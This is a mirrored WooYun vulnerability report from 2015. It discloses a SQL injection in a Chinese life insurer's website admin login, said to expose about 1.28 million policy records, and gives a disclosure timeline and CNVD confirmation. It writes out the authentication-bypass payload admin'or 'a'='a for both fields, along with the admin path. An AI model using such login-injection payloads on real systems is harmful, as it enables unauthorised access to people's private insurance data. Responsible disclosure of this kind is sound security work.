北大方正人寿保险存在SQL注入漏洞（可泄漏几百万订单数据）

发表于 2015年07月31日
WooYun漏洞库

漏洞概要

缺陷编号：WooYun-2015-0130220

漏洞标题：北大方正人寿保险存在SQL注入漏洞（可泄漏几百万订单数据）

漏洞详情

披露状态：

2015-07-31: 细节已通知厂商并且等待厂商处理中
2015-07-31: 厂商已经确认，细节仅向厂商公开
2015-08-10: 细节向核心白帽子及相关领域专家公开
2015-08-20: 细节向普通白帽子公开
2015-08-30: 细节向实习白帽子公开
2015-09-14: 细节向公众公开

简要描述：

北大方正人寿保险存在SQL注入漏洞（可泄漏几百万订单数据）

详细说明：

后台地址：https://**.**.**.**/siteadmin/login.aspx

1	后台地址：https://.../siteadmin/login.aspx

后台sql注入帐号：admin‘or 'a'='a        密码：admin‘or 'a'='a

1	后台sql注入帐号：admin‘or 'a'='a 密码：admin‘or 'a'='a

进入后台：

128万数据

各种保单信息

漏洞证明：

后台地址：https://**.**.**.**/siteadmin/login.aspx

1	后台地址：https://.../siteadmin/login.aspx

后台sql注入帐号：admin‘or 'a'='a        密码：admin‘or 'a'='a

1	后台sql注入帐号：admin‘or 'a'='a 密码：admin‘or 'a'='a

进入后台：

128万数据

各种保单信息

修复方案：

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2015-07-3116:02

厂商回复：

CNVD确认所述情况,已经转由CNCERT向保险行业信息化主管部门通报,由其后续协调网站管理单位处置.

评价

原文连接：北大方正人寿保险存在SQL注入漏洞（可泄漏几百万订单数据） 所有媒体，可在保留署名、原文连接的情况下转载，若非则不得使用我方内容。

北大方正人寿保险存在SQL注入漏洞（可泄漏几百万订单数据）

漏洞概要

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

漏洞回应

厂商回应：

厂商回复：

最新状态：

评价